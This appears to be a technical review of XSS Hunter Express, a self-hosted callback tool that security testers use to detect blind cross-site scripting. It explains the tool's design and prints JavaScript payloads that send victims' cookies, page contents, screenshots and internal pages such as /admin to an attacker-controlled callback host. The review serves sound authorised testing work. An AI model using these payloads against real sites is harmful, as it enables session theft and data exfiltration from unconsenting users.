XSS Hunter Express: Building Callback Infrastructure for Blind Cross-Site Scripting
Hook
Most XSS vulnerabilities don't fire immediately when you test them. They sit dormant in databases until an admin opens a support ticket three weeks later—and by then, you've forgotten which of the 200 parameters you tested was actually vulnerable.
Context
Traditional XSS testing assumes immediate feedback: you inject a payload into a parameter, the page reflects it, your browser executes it, and you know you've found a vulnerability within seconds. But stored XSS breaks this model entirely. When you inject <script>alert(1)</script> into a contact form, blog comment, or user profile field, that payload might sit in a database for days or weeks until someone with higher privileges views it. Bug bounty hunters testing enterprise applications face an even harder problem: they might inject payloads into dozens of parameters across multiple sessions, then receive a callback days later with no way to correlate which specific injection point was vulnerable.
XSS Hunter Express solves the temporal correlation problem by generating unique JavaScript payloads that phone home when executed, capturing everything you need for proof: the full DOM, cookies, the URL where it fired, screenshots, and critically, a unique identifier that maps back to your original injection attempt. It's callback infrastructure purpose-built for the asynchronous nature of blind XSS testing, packaged as a five-minute Docker deployment. The repository emerged as a maintained fork after the original XSS Hunter SaaS platform faced reliability issues, giving security testers self-hosted infrastructure without the trust concerns of sending client data to third-party servers.
Technical Insight
The architecture centers around a payload correlation system that bridges injection attempts and delayed execution. When you create a new payload through the web interface, the Express backend generates a unique subdomain identifier and constructs an obfuscated JavaScript probe. This probe isn't a simple alert()—it's a data exfiltration payload that captures execution context and phones it back to your server.
The generated payload structure follows this pattern:
<script src="https://[unique-id].xss.yourdomain.com/probe.js"></script>
When a victim's browser executes this, probe.js triggers a sophisticated collection routine. The client-side JavaScript enumerates the DOM with document.documentElement.outerHTML, grabs cookies via document.cookie, captures the current URL, and—most impressively—generates a screenshot using the HTML5 Canvas API. This screenshot mechanism is architecturally significant because it avoids server-side headless browsers entirely:
// Simplified version of screenshot capture logic
html2canvas(document.body).then(canvas => {
const screenshotData = canvas.toDataURL('image/png');
const payload = {
uri: window.location.href,
cookies: document.cookie,
dom: document.documentElement.outerHTML,
screenshot: screenshotData,
origin: window.location.origin,
referrer: document.referrer,
user_agent: navigator.userAgent
};
fetch('https://[unique-id].xss.yourdomain.com/callback', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(payload)
});
});
The callback handler on the Express backend receives this POST request, extracts the unique identifier from the subdomain, and correlates it with the original injection attempt stored in PostgreSQL. This is where the temporal decoupling shines: you might have injected this payload three weeks ago into a user profile field, forgotten about it entirely, and now you receive an email notification with complete proof that an admin just viewed your malicious profile.
The database schema maintains relationships between payloads, injection points, and fires. Each payload generation creates a record with metadata about where you injected it (you manually annotate this). When callbacks arrive, they're associated with that payload record, creating a historical chain. The system supports multiple fires per payload, which happens when vulnerable content gets viewed repeatedly by different users or the same user across sessions.
The Docker Compose setup orchestrates three services: the Node.js application, PostgreSQL for persistence, and an nginx reverse proxy handling TLS termination with Let's Encrypt certificates. The TLS automation isn't optional—modern browsers block mixed content, so an HTTP-only XSS Hunter installation would fail to capture callbacks from HTTPS sites, which is nearly every production application today. The Docker configuration binds to wildcard DNS (*.xss.yourdomain.com) to support the unique subdomain strategy, requiring you to configure a wildcard A record pointing to your VPS.
One clever feature is the 'page grabbing' functionality. When a payload fires, the client-side probe can be configured to automatically fetch additional relative paths from the same origin:
// After initial callback, fetch sensitive endpoints
const endpoints = ['/admin', '/api/users', '/internal/config'];
endpoints.forEach(path => {
fetch(path)
.then(r => r.text())
.then(html => {
// Exfiltrate additional pages to your server
fetch('https://[unique-id].xss.yourdomain.com/grabbed', {
method: 'POST',
body: JSON.stringify({path, content: html})
});
});
});
This transforms each XSS into a same-origin fetch primitive, letting you map internal endpoints or grab CSRF tokens without additional exploitation. Since the JavaScript executes in the victim's browser with their session, it bypasses authentication entirely.
The notification system uses Nodemailer to dispatch SMTP alerts when payloads fire. You configure credentials for an email provider during initial setup, and the system sends formatted messages containing screenshots, captured cookies, and the firing URL. This asynchronous notification model is essential—nobody monitors an XSS Hunter dashboard 24/7 waiting for callbacks from tests they ran weeks ago.
Gotcha
The payload JavaScript is completely static and trivially fingerprintable. Any competent security team can extract the probe script, hash it, and configure their WAF to block it across their entire application portfolio. There's no polymorphism, no obfuscation beyond basic minification, no anti-detection logic. Once you're burned, you're burned everywhere that organization operates. This is fine for bug bounty programs where you're testing with permission, but it's a significant limitation compared to commercial tools that generate unique obfuscated payloads per injection.
The single-user authentication model is absurdly simplistic for team environments. The Docker setup generates a random admin password on first boot, stores it in plaintext environment variables, and that's it. No role-based access control, no per-user API tokens, no audit logging of who accessed which payload data. If you're a penetration testing firm with multiple consultants, you're effectively sharing one set of credentials and losing all attribution. There's no way to segregate client data, no way to restrict junior testers from seeing sensitive payloads from other engagements. The security model assumes you're a solo practitioner, full stop.
Verdict
Use if: You're an individual bug bounty hunter or penetration tester who needs reliable blind XSS detection without managing complex infrastructure or paying for SaaS platforms. The five-minute Docker setup genuinely delivers on its promise, and the temporal correlation system solves the real problem of mapping delayed callbacks to specific injection points. The automated TLS and email notifications mean you can inject payloads, move on to other testing, and get pinged when something fires weeks later. Skip if: You're part of a security team requiring collaboration features, compliance logging, or payload obfuscation for evasion. The lack of multi-user support, API access, and anti-detection mechanisms makes this unsuitable for professional services firms or corporate red teams. Organizations serious about blind XSS testing should evaluate ezXSS for better team features or Burp Collaborator for enterprise integration, despite higher complexity or cost.